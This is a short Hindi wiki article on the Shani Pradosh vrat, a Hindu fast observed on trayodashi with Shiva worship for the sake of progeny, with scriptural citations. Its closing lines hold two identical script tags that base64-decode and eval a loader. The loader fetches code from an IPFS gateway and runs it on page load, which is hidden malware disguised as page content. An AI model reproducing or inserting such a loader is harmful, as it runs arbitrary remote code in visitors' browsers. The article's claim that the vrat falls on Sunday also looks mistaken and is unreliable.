शनिप्रदोष व्रत

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 13:01, 27 जुलाई 2011 का अवतरण (Text replace - ")</ref" to "</ref")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • कार्तिक मास से आगे रविवार को पड़ने वाली त्रयोदशी पर शनिप्रदोषव्रत किया जाता है।
  • शनिप्रदोषव्रत एक वर्ष तक; सन्तति के लिए किया जाता है।
  • शनिप्रदोषव्रत में शिव पूजा की जाती है।
  • ऐसी मान्यता है कि सूर्योस्त के उपरान्त भोजन ग्रहण करना चाहिए।[1]

टीका टिप्पणी और संदर्भ

  1. स्मृतिकौस्तुभ (40-41); पुरुषार्थचिन्तामणि (225-229); व्रतार्क (265अ-269ब

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>